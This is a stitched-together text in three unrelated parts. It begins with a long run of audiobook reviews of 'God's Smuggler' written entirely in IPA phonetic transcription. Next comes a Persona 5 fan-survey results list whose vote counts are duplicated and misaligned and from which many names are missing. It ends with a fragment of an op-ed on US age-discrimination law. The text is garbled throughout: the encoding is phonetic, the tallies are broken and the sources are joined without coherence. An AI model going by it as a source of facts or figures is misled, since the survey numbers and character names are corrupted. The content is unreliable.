ɪn frənt əv ðɛm ənd ðɛn ˌɪnɪkˈsplɪkəbli lɛt ɪm pæs. ðæts ʤɪst ə ˈtizər, rɛd ðə bʊk ɪf ˈpɑsəbəl. ˈoʊvərˌɔl greɪt ˈɑdiˌoʊ ˌprɛzənˈteɪʃən əv ðɪs bʊk, ləv ɪt! ˈoʊvərˌɔl ðiz oʊld ˈstɔriz ər soʊ gʊd. ɪnˈkərəʤɪŋ! ˈoʊvərˌɔl əˈmeɪzɪŋ greɪs!!!!!!! ˈoʊvərˌɔl kəmˈpɛlɪŋ ənd ɪgˈzɔrtɪŋ ˈstɔri. wɛl rɛd. ə məst "ˈlɪsən tɪ." ˈoʊvərˌɔl ðɪs wɑz ˈɛksələnt! ˈsɛvərəl taɪmz ɪt hæd mi ˈlæfɪŋ aʊt laʊd æt boʊθ gɑdz ənd ˈbrəðər ˈænˌdruz ɑˈdæsəti! aɪ əˈspɛʃəli ˌɛnˈʤɔɪd ðə ˌɛpɪˈlɔg, wɪʧ aɪ ˈhædənt rɛd ˌbiˈfɔr (aɪ fərst rɛd ðə bʊk əˈbaʊt tɛn jɪrz əˈgoʊ). ˈoʊvərˌɔl ɑr ˈfæməli həz ˌæbsəˈlutli ləvd ðɪs ˈɑdiˌoʊ bʊk. ðə ˈrɛdɪŋ ɪz klɪr ənd ˈplɛzənt tɪ ˈlɪsən tɪ, ɛz wɛl ɛz ə wɛl ˈrɪtən, tru ənd ˈkæptɪˌveɪtɪŋ ˈstɔri. gɑdz ˈtɛstɪˌmoʊni ˈrɪli əv gɑd ˈwərkɪŋ θru hɪz ˈhoʊli ˈspɪrɪt ɪn ɪnˈkərəʤɪŋ ðoʊz ɪn hɪz ˈfæməli ˈaɪsəˌleɪtɪd frəm ðə rɛst əv ðə wərld baɪ ðɛr ˈgəvərnmənts. ˈnəθɪŋ kən stɑp gɑd, hi ɪz ˈfeɪθfəl ənd ɔl əv ɑr feɪθ ɪz ˈstrɛŋθənd ɪn ˈlɪsənɪŋ tɪ ðɪs ˈbjutəfəl ˈstɔri. ˈhaɪli ˌrɛkəˈmɛndɪd fər ˈɔlˌmoʊst ɔl ˈeɪʤɪz, maɪ 7 oʊld ˈivɪn gɑt ˈsəmθɪŋ aʊt wɪn hi ˈlɪsənd ˈoʊvərˌɔl aɪ ləvd ˈlɪsənɪŋ, ɪt ˈtiʧɪz əˈlɑt əˈbaʊt ˈhævɪŋ feɪθ ɪn gɑd fər ˈɛvəri deɪ θɪŋz. ˈoʊvərˌɔl aɪ rɛd ðɪs bʊk ðə fərst taɪm æt əˈbaʊt eɪʤ 13 wɪʧ wɑz ɪn 1968 aɪ rɪˈmɛmbər haʊ ɪt ˌɪmˈpæktɪd maɪ feɪθ. aɪ ˌdɪˈsaɪdɪd tɪ ˈlɪsən tɪ ɪt ˈrisəntli, ənd æm soʊ glæd aɪ dɪd! aɪ hoʊp ˈmɛni rɪˈsiv ðə feɪθ bust ðət aɪ dɪd! ˈoʊvərˌɔl ðɪs bʊk həz bɪn ən ˌɪnspərˈeɪʃən, ɛnˈkərɪʤmənt ənd ɪt ˈʧælənʤd ˈjuˈɛs wɪθ ðə paʊər əv prɛr, trəst ˈsækrəˌfaɪs. ˈoʊvərˌɔl aɪ rɪˈmɛmbər ˈrɛdɪŋ ðɪs bʊk wɪn aɪ wɑz ɪn θərd greɪd, ənd ɪt wɑz ə spaɪ θˈrɪlər tɪ mi. naʊ, ɛz aɪ ˈlɪsən tɪ ɪt əˈgɛn, aɪ si ɪt ɪn səʧ ə ˈlɑrʤər, ˈrɪʧər ˈkɑntɛkst. wət ə ˈwəndərfəl, ˈbjutəfəl ɪgˈzæmpəl ˈbrəðər ˈændru ɪz tɪ mi ənd tɪ ˈjuˈɛs. aɪ θæŋk gɑd fər ɪm ənd ðə ˌɪnspərˈeɪʃən ðɪs bʊk gɪvz mi fər maɪ laɪf təˈdeɪ. ˈoʊvərˌɔl ˌɛnˈʤɔɪd, greɪt bʊk. ˈoʊvərˌɔl ðɪs bʊk ɪz ən ˈæbsəˌlut məst rɛd fər ɔl ˈkrɪsʧɪnz. ɛz ə ˈfæməli, wi ləv ðɪs. ˈbrəðər ˈændru ɪz ə ˈhɪroʊ əv ðə feɪθ, ənd hɪz ˈstɔriz ər soʊ əˈmeɪzɪŋ ənd kəmˈpɛlɪŋ. ɪt ˌɪnˈspaɪrz jʊr feɪθ tɪ ˈriəˌlaɪz ðət gɑd ˈjuzɪz ril ˈpipəl ɪn səʧ ˌɛkstrəˈɔrdəˌnɛri weɪz. aɪ hæv hæd ðə ˈblɛsɪŋ əv ˈhirɪŋ ˈbrəðər ˈændru spik ɪn ˈpərsən ənd hi ɪz ˈtruli ən əˈmeɪzɪŋ mæn əv gɑd. du ˈjɔrsɛlf ə ˈfeɪvər ənd baɪ ðɪs! ˈoʊvərˌɔl ðɪs wɑz ˈrɪtən ˈsɛvərəl jɪrz əˈgoʊ, bət ɪz stɪl ə greɪt ˈtɛstɪˌmoʊni əv gɑdz greɪs ənd ðɪs ˈbrəðər hɪz waɪfs ˈfeɪθfəlˌnɛs. ɪt ɪz ˌɪnˈspaɪərɪŋ ˈivɪn ˈæftər ˈrɛdɪŋ ðɪs soʊ ˈmɛni jɪrz əˈgoʊ ənd ˈhævɪŋ sərvd ɔn ðə ˈmɪʃən fild. ˈbrəðər ˈændru ənd hɪz tim wər tru ˌpaɪəˈnɪrz ənd ˈpipəl əv feɪθ. ðɪs ɪz wɛl wərθ ə ˈlɪsən ər rɛd! ˈoʊvərˌɔl ðə moʊst ənd ˈʧælənʤɪŋ baɪˈɑgrəfi ɛl hæv hərd tɪ deɪt. ðə ˌdræmətəˈzeɪʃən ɪz ˈkæptɪˌveɪtɪŋ. ˈoʊvərˌɔl ðə fərst bʊk aɪv rɛd əˈbaʊt ˈbrəðər ˈændru wɑz "gɑdz kɔl', wɪʧ ɛz ðə bʊk ˈʤoʊkɪŋli dɪˈskraɪbz ɛz gɑdz sˈməgələr 2 aɪ ˌɛnˈʤɔɪd ðət bʊk soʊ wɪn aɪ sɔ ðɪs ɔn christianaudio*, aɪ ˌɪˈmiˌdiətli græbd ɪt. aɪ ʤɪst ˈfɪnɪʃt ˈlɪsənɪŋ tɪ ɪt ənd əm bloʊn əˈweɪ baɪ ˈbrəðər ˈænˌdruz ˈstɔri. ˈsəmˌhaʊ aɪ kʊd rɪˈleɪt tɪ ɪm ˈhævɪŋ biɪŋ ə ˈeɪθiəst tɪ ə ˈkrɪsʧɪn. ɪts əˈmeɪzɪŋ haʊ gɑd wərks ɪn ˈpipəlz lɪvz. ðə ˈnɛreɪtər fər ðɪs ɪz əˈmeɪzɪŋ. ɪts ˈizi tɪ fɔl ˈɪntu ðə ˈstɔri wɪθ haʊ hi ˈnɛreɪts ɪt. ðɪs ɪz ən əˈmeɪzɪŋ bʊk ənd haʊ ðə ɪz rɛd ɪz ˈpərˌfɪkt. əm ʃʊr aɪl bi ˈlɪsənɪŋ tɪ ðɪs əˈgɛn ənd əˈgɛn. ənd baɪ ðə ˈkɪndəl ˈvərʒən. ˈoʊvərˌɔl hɑt sɪˈnɑpsɪs dɪˈfaɪənt. bəˈlɪʤərənt. ˈrɛkləs. ɔl əv ðoʊz wərdz dɪˈskraɪb ˈændru. frəm ðə taɪm hi wɑz ə ʧaɪld hi pʊʃt ðə laɪnz. hi dɪd ɪgˈzæktli wət hi nu hi shouldn’t*. dɪd kraɪst ʧeɪnʤ ɪm? nɑt ˈrɪli. hi pʊʃt ðə laɪnz fər ðə rɛst əv hɪz laɪf bət hi dɪd ɪt weɪ. mɪs ðɪs laɪf ˈʧeɪnʤɪŋ! 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ðɪs ɪz ə ˈkæptɪˌveɪtɪŋ ˈstɔri, wɛl ˈrɪtən ənd wɛl ˈnɛˌreɪtɪd. ˈoʊvərˌɔl ləvd tɪ hir əˈbaʊt gɑdz ˈfeɪθfəlˌnɛs ɪn ˈbrəðər ˈænˌdruz laɪf! ˈoʊvərˌɔl ˈvɛri wɛl dən. aɪ wɑz ˈfæsəˌneɪtɪd baɪ ðə ˈstɔri ənd ˈdɪdənt wɔnt tɪ teɪk breɪks frəm ˈlɪsənɪŋ! aɪ ˌrɛkəˈmɛnd ðɪs bʊk, əˈspɛʃəli tɪ ðoʊz ˈsikɪŋ tɪ trəst gɑd mɔr. ˈoʊvərˌɔl aɪ ˈθəroʊli ˌɛnˈʤɔɪd ðɪs bʊk. ɪt ɪz ə ˈfæsəˌneɪtɪŋ ənd kəmˈpɛlɪŋ ˈstɔri frəm bɪˈgɪnɪŋ tɪ ɛnd, ənd aɪ ˈhaɪli ˌrɛkəˈmɛnd ɪt. ðə dɪˈvoʊʃən ənd təˈnæsɪti əv ˈpərpəs dɪˈspleɪd baɪ "gɑdz sˈməgələr" ər əˈmeɪzɪŋ ənd ˌɪnˈspaɪərɪŋ. ˈoʊvərˌɔl ə ˈvɛri ˈmuvɪŋ əˈkaʊnt əv ən ˌɛkstrəˈɔrdəˌnɛri laɪf wɛl lɪvd. ˈoʊvərˌɔl soʊ gʊd, soʊ ˌɪnˈspaɪərɪŋ! taɪm ʤɪst flaɪz baɪ waɪlst ˈlɪsənɪŋ tɪ ðɪs bʊk! ˈoʊvərˌɔl rɛd ɪt jɪrz əˈgoʊ, wət feɪθ ðɪs mæn hæd ɪn gɑd, haʊ hi wɑz prəˈvaɪdɪd fər ɪz səʧ ən ˌɪnspərˈeɪʃən ˈoʊvərˌɔl ðɪs bʊk ɪz ˈrɪli ˈəˌplɪftɪŋ! aɪ rɛd ɪt jɪrz əˈgoʊ, bət maɪ ˈfæməli aɪ ˌɛnˈʤɔɪd ˈlɪsənɪŋ tɪ ɪt ənd biɪŋ riˈmaɪndɪd əv gɑdz ˈmərsi ˈfeɪθfəlˌnɛs prəˈvɪʒən. ˈoʊvərˌɔl aɪ ˈθəroʊli ˌɛnˈʤɔɪd ðɪs baɪˈɑgrəfi ənd wʊd ˌrɛkəˈmɛnd ɪt. ðə ˈoʊnli ˈɪʃu aɪ hæd wɑz, təˈwɔrd ðə ɛnd (ˌɛpɪˈlɔg) wɛr ˈbrəðər ˈænˌdruz ækˈtɪvɪtiz əˈməŋ ðə ˈɔrθəˌdɑks ənd ˈkæθlɪks wɑz ˈhaɪˌlaɪtɪd. aɪ dɪsəˈgri ðət ˈprɑtəstənts ənd ˈkæθlɪks kən wərk təˈgɛðər ɪn ðə wərk əv ðə ˈgɔspəl ɛz ðeɪ kəm frəm ˌfəndəˈmɛnəli ˈdɪfərənt vjuz ɛz tɪ ðə pæθ ðət lidz tɪ sælˈveɪʃən. bət ɪn ɔl ˈəðər rɪˈspɛkts ˈfæsəˌneɪtɪŋ ənd ˈɪnˌsaɪtfəl (əˈspɛʃəli ɛz maɪ ˈfæməli ənd aɪ ər ˈmɪʃəˌnɛriz). ˈoʊvərˌɔl greɪt bʊk. ˌɛnˈʤɔɪd ðə ˈəpˌdeɪts æt ðə ɛnd. ˈoʊvərˌɔl ðɪs bʊk ɪz ˈwəndərfəl. ən əˈmeɪzɪŋ ˈstɔri əv gɑdz greɪs ˈkɔlɪŋ ə ˈsɪnər ˈəntu hɪmˈsɛlf. ɪt ɪz ən ˌɪnˈspaɪərɪŋ ˈstɔri! ˈoʊvərˌɔl ðɪs bʊk ɪz ˈvɛri ˈɪntəˌrɛstɪŋ ənd ˌɪnˈspaɪərɪŋ. ˈoʊvərˌɔl aɪ ləvd gɑdz sˈməgələr ənd wɑz ˌɪnˈspaɪərd baɪ ðə weɪ gɑd prəˈtɛktɪd ənd ɪˈneɪbəld ðɪs mæn tɪ sərv ðə ˈbɑdi əv kraɪst ɪn ˈbaɪbəl dɪˈpraɪvd ˈɛriəz əv ðə wərld. ˈoʊvərˌɔl ˌɪnˈspaɪərɪŋ tru ˈstɔri əv gɑd æt wərk ɪn ˈɛvəri deɪ ˈpipəl, hu ər əˈmeɪzɪŋ bɪˈhaɪnd ðə aɪərn ˈkərtən ɪn ðə ənd ˈoʊvərˌɔl əˈmeɪzɪŋ ˈtɛstɪˌmoʊni. ˈizi ˈraɪtɪŋ staɪl ə ˈvɛri gʊd ˈridər. ˈoʊvərˌɔl ˈvɛri gʊd. ˌɛnərˈteɪnɪŋ ənd ˌɪnˈfɔrmətɪv. ˈoʊvərˌɔl waʊ! kænt seɪ məʧ mɔr ðən ðət. ðɪs bʊk ˈrɪli ˈdɛmənˌstreɪts wət gɑd kən du fər ðoʊz hu ər ˈfeɪθfəl. ˈoʊvərˌɔl ðɪs bʊk hæd mi hʊkt frəm ðə bɪˈgɪnɪŋ. ɪt wɑz əˈmeɪzɪŋ haʊ gɑd "kloʊzd" ðə aɪz əv soʊ ˈmɛni tɪ prəˈtɛkt ˈpipəl ɪn ðɪs ˈmɪnɪstri. ˈbrəðər ˈændru bɪˈlivd gɑd fər bɪg θɪŋz gɑd ʃoʊd hɪmˈsɛlf ɪn ˈɔsəm weɪz. ˈoʊvərˌɔl ə məst rɛd fər ˈɛvəri ˈkrɪsʧɪn. ˈoʊvərˌɔl wət ə greɪt ˈstɔri əv gɑdz wərd goʊɪŋ fɔrθ. ɪt meɪd mi ˈrɪli sərʧ maɪ oʊn hɑrt ənd ˈʧælənʤd maɪ feɪθ. ˈoʊvərˌɔl ˈbrəðər ˈænˌdruz ˈstɔri ridz laɪk ə ˈstɔri ðət bɪˈlɔŋz ɪn ðə ˈbaɪbəl. hi wɑz ðə moʊst ənˈlaɪkli ˈpərsən tɪ bɪˈkəm ə ˈkrɪsʧɪn bət gɑd ɪn hɪz ˈmərsi ˈnɛvər əˈbændənd ɪm. ɛz ˈrædɪkəl ɛz hi wɑz ɛz ə ˈsɪnər hi wɑz ʤɪst ɛz ˈrædɪkəl ənd ˈpæʃənət ɛz ə seɪnt. hɪz ˈstɔri ˌɪnˈspaɪrz ˈjuˈɛs tɪ oʊˈbeɪ gɑdz vɔɪs, bɪˈliv gɑd fər ˈmɪrəkəlz, tɪ hæv ˈpæʃən fər ðə lɔst, ənd ɛnˈkərɪʤmənt fər ðə seɪnts. aɪ ˈkænɑt bɪˈgɪn tɪ tɛl ju haʊ məʧ maɪ hoʊl ˈfæməli ləvz ðɪs bʊk. wɪr goʊɪŋ θru ɪt əˈgɛn wɪθ ðə hɛlp əv ðɪs. ˈoʊvərˌɔl ril feɪθ ril ˈsərvɪs ril ˈpipəl ril ˌkrɪsʧiˈænɪti ril gɑd ˈoʊvərˌɔl ðə ʧərʧ aɪ bɪˈlɔŋ tɪ ɪn ˈdusəlˌdɔrf (kraɪst ʧərʧ anglican.de*) səˈpɔrts ðə wərk əv ˈoʊpən dɔrz ˌɪnərˈnæʃənɑl, ðɪs lɪŋk ɪn ˈmɪʃən ˈprɑmptɪd mi tɪ ˈlɪsən tɪ (ənd ˌrɛkəˈmɛnd) ˈbrəðər ˈænˌdruz ˈstɔri gɑdz sˈməgələr. aɪ hæd noʊn ˈsəmθɪŋ əv ˈbrəðər ˈændru ənd hɪz wərk bɪˈhaɪnd ðə aɪərn ˈkərtən, bət noʊ ril ˈditeɪlz. aɪ ləv ðɪs bʊk fər ðə weɪ hɪz ˈstɔri ɪz toʊld ˈgɪvɪŋ dɛpθ tɪ waɪ wi ʃʊd səˈpɔrt ðə wərk əv ˈoʊpən dɔrz ˌɪnərˈnæʃənɑl. θæŋk ju. ˈoʊvərˌɔl greɪt ˈstɔri əv ə mæn hu həz bɪn trænsˈfɔrmd baɪ gɑd ənd haʊ gɑd ˈjuzɪz ən ˈɔrdəˌnɛri mæn tɪ du greɪt wərk ɪn hɪz ˈmɪnɪstri. ˈgɪvɪŋ ɔl əv ˈjuˈɛs hoʊp. ˈoʊvərˌɔl ə greɪt ɪgˈzæmpəl əv ˈlɪsənɪŋ tɪ gɑd ənd duɪŋ wət hi wɔnts, noʊ ˈmætər wət ðə rɪsk nɔr ðə kɔst. ˈoʊvərˌɔl aɪ kʊd nɑt stɑp ˈlɪsənɪŋ tɪ ðɪs bʊk! ðə ˈridər wɑz ˈplɛzənt tɪ ˈlɪsən tɪ ənd ˈizi tɪ ˌəndərˈstænd. ðə ˈstɔri kʊd brɪŋ ju tɪ tɪrz ər greɪt ʤɔɪ. aɪ fɛlt laɪk aɪ wɑz pɑrt əv ðə ˈstɔri ənd faʊnd ˌmaɪˈsɛlf ˈθæŋkɪŋ gɑd fər ˈpipəl laɪk ðɪs! θæŋk ju fər ˈpleɪsɪŋ ðɪs bʊk ɔn ðə fri ˈmənθli ˈdaʊnˌloʊd. maɪ gɑd blɛs ju. ˈoʊvərˌɔl ðɪs ɪz ən ˈɔsəm ˈstɔri əv gɑdz ənˈfeɪlɪŋ prəˈvɪʒən. aɪv nɑt kəmˈplitɪd ɪt jɛt ənd ɔˈrɛdi aɪv bɪn preɪɪŋ fər ðə feɪθ əv ˈbrəðər ˈændru! ðɪs bʊk wɪl ˌɪnˈspaɪr ənd ɪnˈkərəʤ ju tɪ trəst gɑd ənd noʊ ðət hi ɪz ˈfeɪθfəl. ˈoʊvərˌɔl θæŋks tɪ christianaudio*, aɪ hæd ðə ʧæns tɪ ˈlɪsən tɪ ðɪs fər fri. ðoʊ aɪ ˌɛnˈʤɔɪd ðə ˈfɪkʃən wɪʧ wər dɪˈstrɪbjətəd wɪθ noʊ ʧɑrʤ, ɪt wɑz ə greɪt ˈplɛʒər tɪ hir ə ril ˈstɔri, ril ækts əv gɑd. aɪ ˈkɑnstəntli gæspt wɪn ˈbrəðər ˈændru wɑz ɪn ˈtrəbəl, ənd wɑz əˈstɑnɪʃt haʊ gɑd wərkt ɪn ə 'kɪŋz weɪ'. aɪ θɪŋk ðɪs bʊk ʃoʊz ə gʊd ɪgˈzæmpəl əv haʊ ˈsəmˌwən kʊd wɔk ɪn stɛp wɪθ ðə ˈspɪrɪt ˈoʊvərˌɔl gɑdz sˈməgələr baɪ ˈbrəðər ˈændru ənd ʤɑn ɪˈlɪzəbɪθ ˈʃɛrɪl wɑz ˈnɛˌreɪtɪd baɪ ˈsaɪmən væns hu dɪd ən ˈɛksələnt ʤɑb əv ˈrɛdɪŋ ðə bʊk. ɛz ə jəŋ bɔɪ, ˈbrəðər ˈændru hæd ˈdeɪˌdrimz əv bɪˈkəmɪŋ ə spaɪ ənd ˈwərkɪŋ ˌəndərˈkəvər bɪˈhaɪnd ˈɛnəmi laɪnz. wɪn hi gru əp ənd bɪˈkeɪm ə ˈkrɪsʧɪn, hi bɪˈkeɪm ən ˌəndərˈkəvər ˈeɪʤənt fər gɑd baɪ dɪˈlɪvərɪŋ ˈbaɪbəlz tɪ ˈkɑmjənəst ˈkəntriz. ˈbrəðər ˈændru faʊnd hɪmˈsɛlf ɪn ˈmɛni ˌsɪʧuˈeɪʃənz wɛr hi ˈsɪriəsli ˈwəndərd ɪf hi wʊd ɛnd əp ɪn ˈprɪzən ər wərs, bət ˈɛvəri taɪm gɑd keɪm θru ɪn ə mərˈækjələs weɪ. ðɛr wər ˈsɛvərəl taɪmz wɪn hɪz kɑr wɑz sərʧt frəm ˈbəmpər tɪ ˈbəmpər jɛt ðə gɑrdz dɪd nɑt sim tɪ ˈnoʊtɪs ðə ˈbaɪbəlz ɪn pleɪn vju ɔn ðə sit ˌbiˈsaɪd ˈbrəðər ˈændru. æt wən taɪm hi wɑz ˈtɔkɪŋ wɪθ ə ˈrəʃən gɑrd ənd ˈkɑmɛntəd ðət ðə ˈrəʃənz simd tɪ noʊ ɔl əˈbaʊt ɪm. ðə gɑrd toʊld ɪm ðət gɑdz sˈməgələr wɑz rikˈwaɪərd ˈrɛdɪŋ fər ðə ˈrəʃən pəˈlis. aɪ ˈlərnɪd soʊ məʧ ˈlɪsənɪŋ tɪ ðɪs bʊk ənd wən əv ðə θɪŋz ðət ˈrɪli stək ɪn maɪ maɪnd wɑz ðə fækt ðət ɪn bəlˈgɛriə ðɛr ər ˈʧərʧɪz ðət du nɑt hæv ˈivɪn wən ˈbaɪbəl. æt list ðɪs wɑz tru wɪn ðə bʊk wɑz ˈrɪtən ɪn ðə ˈsɪkstiz. ˈbrəðər ˈændru wɑz soʊ səkˈsɛsfəl bɪˈkəz hi ˈtrəstɪd gɑd, preɪd tɪ gɑd fər hɛlp, ənd bɪˈlivd ðət gɑd wɑz wɪθ ɪm ənd wʊd ˈænsər hɪz prɛr. aɪ wʊd ˌrɛkəˈmɛnd ðɪs bʊk tɪ ˈɛvəri ˈkrɪsʧɪn, ˈpɑsəbli ˈivɪn kənˈsɪdər ɪt rikˈwaɪərd ˈrɛdɪŋ. ˈivɪn maɪt ˌɛnˈʤɔɪ ˈrɛdɪŋ ðə bʊk. aɪ rɪˈsivd ðɪs fri frəm rivˈjuərz ˈproʊˌgræm ɪn ɪksˈʧeɪnʤ fər ˈpoʊstɪŋ ə ˌrivˈju. ˈoʊvərˌɔl wət ən ˌɪnˈspaɪərɪŋ ənd ˈʧælənʤɪŋ ˈstɔri. ˈæftər ˈlɪsənɪŋ tɪ ðɪs bʊk aɪ æm tɪ drɔ kloʊz tɪ gɑd soʊ ðət aɪ wɪl noʊ wɛr ənd haʊ hi wɔnts mi tɪ sərv. aɪ ˈhaɪli ˌrɛkəˈmɛnd ɪt. ˈoʊvərˌɔl "peɪʤ ˈtərnər," "ˈkʊdənt pʊt ɪt daʊn," "ɪkˈsaɪtɪŋ," "wɛl wərθ ðə ˈməni," 100 ˌsætɪsˈfækʃən ˌgɛrənˈtid" ˌɛtˈsɛtərə. ˌɛtˈsɛtərə. ðɪs bʊk lɪvz əp tɪ ɔl ðoʊz kliˈʃeɪz! ɪt wɑz ˌæbsəˈlutli fænˈtæstɪk ənd maɪ ˈfæməli ˈdɪdənt wɔnt ɪt tɪ ɛnd. frəm ðə ˈstɔri ˌɪtˈsɛlf tɪ ðə ˈnɛreɪtər ɪt wɑz ˈwəndərfəl. wi ˈlɪsənd tɪ ðɪs ɔn ɑr veɪˈkeɪʃən ɛz wi wər ˈtrævəlɪŋ. ɪt ˈivɪn kɛpt ɑr 8 jɪr oʊldz əˈtɛnʃən! ðɪs bʊk wɑz feɪθ ˈbɪldɪŋ! gɑd' juz mi laɪk "ˈændi":)) ˈoʊvərˌɔl aɪ ˈθəroʊli ˌɛnˈʤɔɪd ˈlɪsənɪŋ tɪ ðə sˈməgələr ˈɑdiˌoʊ bʊk, ˈrɪtən baɪ ˈbrəðər ˈændru ənd ʤɑn ənd ɪˈlɪzəbɪθ ˈʃɛrɪl. ðə kaɪnd əv bʊk ju pʊt daʊn, ər stɑp ˈlɪsənɪŋ tɪ ɪf ju hæv ðə ˈɑdiˌoʊ ˈvərʒən. ðɪs ɪz ə tru ˈstɔri əˈbaʊt ə jəŋ dəʧ mæn neɪmd, ˈændru hu ɛnˈlɪsts ɪn ðə ˈmɪlɪˌtɛri ənd faɪndz ɪt ɪz nɑt ðə ədˈvɛnʧər hi ərˈɪʤənəli θɔt ɪt wʊd bi. hi spɛnt ˈɛndləs aʊərz ˈdrɪŋkɪŋ, ˈpɑrtiɪŋ, ənd ˈlɪvɪŋ wɪθ ðə gɪlt əv ˈkɪlɪŋ ˈpipəl ɪn wɔr. gɑd seɪvd ɪm ənd hi bɪˈgæn ə ril ədˈvɛnʧər əv sˈməgəlɪŋ ˈbaɪbəlz ˈɪntu ˈkɑmjənəst ˈkəntriz. aɪ wɑz ˌɪnˈspaɪərd baɪ laɪf ənd ˈmɪʃən tɪ sprɛd wərd ɪn səm əv ðə moʊst ˈdɪfəkəlt ənd ˈdeɪnʤərəs ˈpleɪsɪz. aɪ wɑz ɔd baɪ haʊ ˈmɛni taɪmz hi wɑz ˈeɪbəl tɪ gɪt əˈkrɔs ðə ˈbɔrdər wɪθ ə væn fʊl əv ˈbaɪbəlz, ˌəndɪˈtɛktɪd. ðɛr wər ˈivɪn taɪmz ðət hɪz kɑr wɑz sərʧt frəm trəŋk, tɪ ˈmoʊtər, tɪ gləv kəmˈpɑrtmənt, ənd ˈɔfɪsərz dɪd nɑt si ðə ˈbaɪbəlz ðət wər ɪn pleɪn saɪt. ðɪs wɑz ˈtruli ə ˈtɛstɪˌmoʊni əv mərˈækjələs paʊər ənd əˈbɪləˌti tɪ du əˈbəv wət wi æsk fər ər θɪŋk. aɪ ˈlərnɪd ðət maɪ feɪθ nidz tɪ bi ˈstrɔŋgər. ˈændru dɪˈfaɪd ɑdz soʊ ˈmɛni taɪmz bɪˈkəz hi ˈtrəstɪd gɑd, preɪd ənd bɪˈlivd ðət gɑd wɑz wɪθ ɪm. hi wɑz ˈeɪbəl tɪ gɪt ˈɪntu ˈʧaɪnə wɪn ˈɛvriˌwən toʊld ɪm ɪt wɑz ˌɪmˈpɑsəbəl. ˈnəθɪŋ ɪz ˌɪmˈpɑsəbəl wɪθ gɑd! ˈænˌdruz hɑrt fər ɪˈvænʤəˌlɪzəm ɪz ˈtruli ˌɪnspərˈeɪʃənəl ənd meɪd mi ɪgˈzæmɪn maɪ oʊn kəˈmɪtmənt tɪ ˈʃɛrɪŋ ðə ˈgɔspəl. aɪ wɑz ˈɔlsoʊ kənˈvɪktəd baɪ sɛlf ˈsækrəˌfaɪs. hi ənd hɪz waɪf wər ˈwɪlɪŋ tɪ sɛl ðɛr haʊs soʊ ðət ðeɪ wʊd hæv ɪˈnəf ˈməni tɪ prɪnt ˈbaɪbəlz. aɪ tɛl ju wət ˈhæpənd, bət gɑd blɛst ðɛr ˈwɪlɪŋnəs tɪ gɪv əp ˈɛvriˌθɪŋ. ðə ˈnɛreɪtər əv ðɪs ˈɑdiˌoʊ bʊk dɪd ə gʊd ʤɑb. æt fərst aɪ faʊnd ɪt ˈdɪfəkəlt tɪ ˌəndərˈstænd hɪz ˈɪŋlɪʃ ˈækˌsɛnt, bət wəns aɪ əˈʤəstɪd aɪ θɔt hi dɪd ə ˈwəndərfəl ʤɑb. aɪ ˌrɛkəˈmɛnd ðɪs bʊk tɪ ˈɛvriˌwən. ðɪs ɪz ə ˌrivˈju fər christianaudio*. aɪ wɑz nɑt rikˈwaɪərd tɪ gɪv ə gʊd ˌrivˈju. ju kən faɪnd mɔr ˈɑdiˌoʊ bʊks ɔn ˈoʊvərˌɔl |
the persona 5 user handbook was released in japan today, revealing the poll results for a persona 5 related survey conducted from may 16 to may 26, 2017.
there was a total of more than respondents. 51% were female, 49% were male. 20% of respondents were between 10 and 20 years old, 56% were in their 20s, 20% were in their 30s,% were in their 40s, and% were in their 50s.
[spoiler warning] information below includes spoilers for persona 5, read at your own discretion.
how many times have you played through “persona?
cleared the game 1 time: 346 votes
346 votes started a playthrough: 511 votes
511 votes cleared the game 2 times: 137 votes
137 votes started a playthrough: 342 votes
342 votes cleared the game 3 times: 72 votes
72 votes started a playthrough: 89 votes
89 votes cleared the game 4 times: 33 votes
33 votes started a playthrough: 43 votes
43 votes cleared the game 5 times: 11 votes
11 votes started a playthrough: 8 votes
8 votes cleared the game 6 times: 2 votes
2 votes started a playthrough: 7 votes
7 votes started a playthrough: 1 vote
1 vote cleared the game 8 times: 2 votes
2 votes started a playthrough: 1 vote
1 vote cleared the game 9 times: 1 votes
1 votes started a playthrough: 4 vote
4 vote cleared the game 10 times: 1 vote
1 vote started a playthrough: 1 vote
1 vote started a playthrough: 1 vote
1 vote started a playthrough: 1 vote
who is your favorite character among the phantom thieves?
protagonist (691 votes) makoto (346 votes) kitagawa (244 votes) sakura (213 votes) morgana (135 votes) okumura (117 votes) ann (70 votes) sakamoto (64 votes)
who is your favorite confidant character?
goro (350 votes) tae (343 votes) sakura (279 votes) kawakami (184 votes) yoshida (179 votes) togo (150 votes) iwai (81 votes) (59 votes) (55 votes) (43 votes) igor (35 votes) oda (33 votes) caroline (31 votes) justine (27 votes) (2 votes)
who is your favorite character, excluding the above categories?
lala (159 votes) (158 votes) (146 votes) masayoshi (80 votes) newspaper club member (79 votes) (64 votes) mr. (54 votes) young rocker (24 votes) mika (18 votes) old man at the (17 votes) president tanaka (17 votes) kaneshiro (16 votes) (16 votes) real igor (15 votes) scruffy romantic & beefy trendsetter (14 votes)
what is your favorite persona among the phantom thieves’ dedicated personas?
arsene (765 votes) johanna (369 votes) goemon (119 votes) carmen (94 votes) milady (89 votes) captain kidd (71 votes) (55 votes) zorro (51 votes) (36 votes) (32 votes) (17 votes) taisei (16 votes) (15 votes) (13 votes) prometheus (11 votes) (7 votes)
what is your favorite persona among other personas?
yoshitsune (186 votes) alice (136 votes) jack frost (123 votes) (109 votes) mara (81 votes) black frost (48 votes) seth (36 votes) shogun (36 votes) trumpeter (29 votes) king frost (26 votes) (26 votes) (22 votes) (19 votes) (18 votes) (18 votes)
what is your favorite scene?
bargaining with (138 votes) the fake death plan (125 votes) release (84 votes) summoning (84 votes)’s awakening (82 votes) awakening (71 votes)’s awakening (53 votes) phantom final calling card (52 votes) support reaches 100% (38 votes) the opening act of infiltrating’s palace (32 votes) the awakening (31 votes) freeing the protagonist after his arrest. (29 votes) eating the special during the school festival. (28 votes) the good ending. (22 votes) the escape from’s collapsing palace. (19 votes) the school trip. (18 votes) finding out about the phantom thieves. (17 votes)’s confidant link from 4 to 5. (16 votes)
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president lyndon labor secretary, willard wirtz, reported that there was substantial discrimination against older workers and that the nation was needlessly denying older people “opportunity for that useful activity which constitutes much of meaning.”
bolstered by report, in 1967 congress passed the age discrimination in employment act. it used parallel language to the 1964 act, which should have guaranteed older americans comparable rights to other groups. it has not worked out that way.
the courts have repeatedly thrown up barriers to age discrimination suits, long before the supreme june decision. in 1993, in one of its most damaging rulings, the court decided that if employers fire workers whose pension costs or salaries are high, they are not discriminating even if the overwhelming number of people fired are older workers.
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there are several possible reasons that age discrimination is not taken as seriously as other biases. older workers are generally not victims of animosity, but rather of unfair stereotypes that they work more slowly or do not adapt well to change.
